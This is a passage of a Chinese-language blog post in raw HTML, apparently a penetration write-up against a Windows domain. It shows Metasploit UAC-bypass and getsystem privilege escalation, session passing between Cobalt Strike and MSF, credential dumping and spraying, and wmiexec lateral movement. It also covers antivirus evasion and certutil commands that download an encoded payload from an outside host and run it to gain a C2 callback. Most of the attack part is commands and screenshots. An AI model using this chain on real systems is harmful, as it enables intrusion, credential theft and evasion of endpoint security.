254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Metasploit 特权提权</span></strong></p></section></section></section><section style="max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-indent: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section><span style="font-size: 14px;">随后把 CS 的 Beacon 互传到了 MSF：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">MSF：</span></code><code><span class="code-snippet_outer">use exploit/multi/handler</span></code><code><span class="code-snippet_outer">set payload windows/meterpreter/reverse_http</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">CS：</span></code><code><span class="code-snippet_outer">创建监听器windows/foreign/reverse_http</span></code><code><span class="code-snippet_outer">执行监听器 spawn msf</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1915680473372781" data-s="300,640" style="" data-type="png" data-w="2704" src="https://wechat2rss.xlab.app/img-proxy/?k=6b781a83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzWgAzBNoWf7cu9O2wgvG3kQ4CIwUQOdFEt03vpPMbXgdYbfJdxKQuRQ%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">然后通过 MSF 的提权检测找到了几个 exp ：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">run post/multi/recon/local_exploit_suggester</span></code></pre></section><section><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2175368139223561" data-s="300,640" style="" data-type="png" data-w="2988" src="https://wechat2rss.xlab.app/img-proxy/?k=13e06ed2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzY0eJzKsbNZdYjqiaNZJ1RCcpdooGyibc8yf6PtVDP8GASibO7nyAaNbYg%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">然后利用模块尝试提权：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">exploit/windows/local/bypassuac_sdclt</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.34965034965034963" data-s="300,640" style="" data-type="jpeg" data-w="1001" src="https://wechat2rss.xlab.app/img-proxy/?k=215f29f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXz7dKGlebfevV3gNksQR4e9cYThIt1eFzgwcicfPYnzAXxSXfSv954V0Q%2F640%3Fwx_fmt%3Djpeg"/></p><section><span style="font-size: 14px;">发现用户身份没变，但是当前特权变了：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="2.273170731707317" data-s="300,640" style="" data-type="png" data-w="820" src="https://wechat2rss.xlab.app/img-proxy/?k=424d976b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzpUw3qT3GXbIcNagp9WMp3qCTbOBAhmtHHe0db8n9icSzEAwNfc3EbnA%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">直接 getsystem 提权到 SYSTEM：</span><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2596401028277635" data-s="300,640" style="" data-type="png" data-w="2334" src="https://wechat2rss.xlab.app/img-proxy/?k=11c8a533&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXz3ZIov84lD0M5hk0re4tfEEfXyZ1wAHIZOpprnqxMF5punIynvmLYicw%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">最后利用 SYSYEM 把 shell 传到 Cs：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">MSF:</span></code><code><span class="code-snippet_outer">background</span></code><code><span class="code-snippet_outer">use exploit/windows/local/payload_inject</span></code><code><span class="code-snippet_outer">set payload windows/meterpreter/reverse_http</span></code><code><span class="code-snippet_outer">set session 3</span></code><code><span class="code-snippet_outer">run</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">CS:</span></code><code><span class="code-snippet_outer">windows/beacon_http/reverse_http</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.47121535181236673" data-s="300,640" style="" data-type="png" data-w="1876" src="https://wechat2rss.xlab.app/img-proxy/?k=2d40b065&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzBKauTkIgiaibPa6ibA4dhmaamAZuIslOxFxzODic5RnFy7TEIWOeiaehmRw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.112" data-s="300,640" style="" data-type="png" data-w="3000" src="https://wechat2rss.xlab.app/img-proxy/?k=ac2479ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzgc62p6CGVjpoccVZW029uqaNiabFMqeo87HeoZichHOHhauo3feMX7jA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.31921331316187596" data-s="300,640" style="" data-type="png" data-w="1322" src="https://wechat2rss.xlab.app/img-proxy/?k=fd57b466&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzRta165s2MREgBDxrtZaa0AdwRJiaiaF67fmCnpXvCWqm7pMUib9wBaFqA%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">当前权限就可以抓密码了：</span></section><section><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5341823056300268" data-s="300,640" style="" data-type="png" data-w="2984" src="https://wechat2rss.xlab.app/img-proxy/?k=7842babc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzNndjF0MzpIibnI1uur0g8XhzMOJeR2SiaRibdFhxJGEEv2BZacALGh8Tg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">既然当前 beacon 不是 SYSYEM，而且有了本地管理员的账号hash和明文 ，直接本地 psexec 利用本地 administrator 的密码上线：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.09673115410273515" data-s="300,640" style="" data-type="png" data-w="2998" src="https://wechat2rss.xlab.app/img-proxy/?k=b80aaa8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzialmXtoraDA6kAWD0etXKjgoN1FOx35Ur4swC9rJFJM7D2cZT7iaTo2Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6250838363514419" data-s="300,640" style="" data-type="png" data-w="2982" src="https://wechat2rss.xlab.app/img-proxy/?k=25251c56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzY3IP1hiaBUSaLxVueQFhXfibs6uFL0Qftr09e9Cc6icxfwlrDpOeYVBzg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">内网横向移动</span></strong></p></section></section></section><section style="max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-indent: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><p><span style="font-size: 14px;">这个时候发现就是一个 SYSTEM 的 Beacon 会话了！</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">但是发现没有域管的进程，结果只能另寻他路！</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">然后用抓到的密码去喷射域内其他主机：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.216883116883117" data-s="300,640" style="" data-type="png" data-w="1540" src="https://wechat2rss.xlab.app/img-proxy/?k=96350cbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzgZ2UMOKunDwxVfia1Licjaqg5GUMibtb069BACPZRQulmIXgWRtmwCuvA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">然后可以横向 wmi：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"> <span class="code-snippet__selector-tag">proxychains</span> <span class="code-snippet__selector-tag">python3</span> <span class="code-snippet__selector-tag">wmiexec</span><span class="code-snippet__selector-class">.py</span> <span class="code-snippet__selector-tag">-shell-type</span> <span class="code-snippet__selector-tag">cmd</span> <span class="code-snippet__selector-tag">administrator</span><span class="code-snippet__selector-pseudo">:password</span>@<span class="code-snippet__keyword">10</span>.<span class="code-snippet__keyword">226</span>.<span class="code-snippet__keyword">0</span>.<span class="code-snippet__keyword">108</span> -codec gbk</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.42" data-s="300,640" style="" data-type="jpeg" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=7a25d152&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXz3vXAjXltqz101icBiawOObASzDDf5ictCAOiaAgS36J5ArzXfpV0yc3RIw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Bypass 诺顿 AV 上线到 CobaltStrike</span></strong></p></section></section></section><section style="max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-indent: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section><span style="font-size: 14px;">之后发现 10.226.0.156 有一个域管的进程：tasklist /v</span><span style="font-size: 14px;"><br/></span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4264264264264264" data-s="300,640" style="" data-type="jpeg" data-w="999" src="https://wechat2rss.xlab.app/img-proxy/?k=6551c40f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzr3r5O0r6dM1CGQK56ciaQpRCql04Qdvg3xggSMiaqPlfK3ybjJjM9RLw%2F640%3Fwx_fmt%3Djpeg"/></p><section><span style="font-size: 14px;">然后还有诺顿 AV：</span></section><section><span style="font-size: 14px;"></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.13152985074626866" data-s="300,640" style="" data-type="png" data-w="2144" src="https://wechat2rss.xlab.app/img-proxy/?k=453e8565&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzbZic46w5X82vjZxapicuicmk569l2emp4u49dPTsibb7Dn0QfGEze9hdug%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">使用InScan 的ShllCode免杀功能 做了一下免杀</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.24295010845986983" data-s="300,640" style="" data-type="png" data-w="2766" src="https://wechat2rss.xlab.app/img-proxy/?k=ed381d0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHiblPLeOeKFxklcHEoMAoLTjg6HwUmOHlBjBER7O2J2c2Xrzzib06VAp7R6Zz1XAEdU5sKTAlgNLsFA%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">然后让目标下载我们的 exe，通过certutil 下载我们的 exe：</span><span style="font-size: 14px;"><br/></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">certutil.exe -urlcache -<span class="code-snippet__built_in">split</span> -f http:<span class="code-snippet__comment">//inbug.org:80/download/main.exe</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1854724964739069" data-s="300,640" style="" data-type="png" data-w="2836" src="https://wechat2rss.xlab.app/img-proxy/?k=e02d237f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXztrUp2jkaiaxddfzEFYzGgJhVqu4eBW87GtslQNYlcicbdAcAc3lRyBQg%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">然后运行发现有问题：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.05390625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8c9924af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzGfxksibNmEEicDpT8WSxsMsVXk5liaHgpO4cXOGicZpBPF6dIRuicYweQ7g%2F640%3Fwx_fmt%3Djpeg"/></p><section><span style="font-size: 14px;">exe 编码成 txt：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">certutil</span> <span class="code-snippet__selector-tag">-encode</span> <span class="code-snippet__selector-tag">main</span><span class="code-snippet__selector-class">.exe</span> <span class="code-snippet__selector-tag">main</span><span class="code-snippet__selector-class">.txt</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2243829468960359" data-s="300,640" style="" data-type="png" data-w="2674" src="https://wechat2rss.xlab.app/img-proxy/?k=a1cd9b77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzpuT4DnMpnCJNibLMjF0E2lQddZZNUOtoZiaW85eESCPln6oDYUlJKnZw%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">然后目标下载 txt  然后解码再运行：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">certutil.exe -urlcache -<span class="code-snippet__built_in">split</span> -f http:<span class="code-snippet__comment">//inbug.org:80/download/main.txt</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">certutil -decode main.txt main.exe</span></code></pre></section><section><span style="font-size: 14px;">直接上线到 Cs：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.37066666666666664" data-s="300,640" style="" data-type="png" data-w="3000" src="https://wechat2rss.xlab.app/img-proxy/?k=916de7f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzNnSeMXwDEgDanjATyuhviccfoa7jKA7G9T9k2Bqo8wicM8SAKvk3IQkQ%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">先 getsystem 提权到 SYSYEM：</span></section><section><span style="font-size: 14px;"></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4735376044568245" data-s="300,640" style="" data-type="png" data-w="1436" src="https://wechat2rss.xlab.app/img-proxy/?k=989175ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzZHviay0w1yyZomTTTT6TaIy3AgVV7YpfcwWAstBia7rpW3j2Wr5hbH6A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box 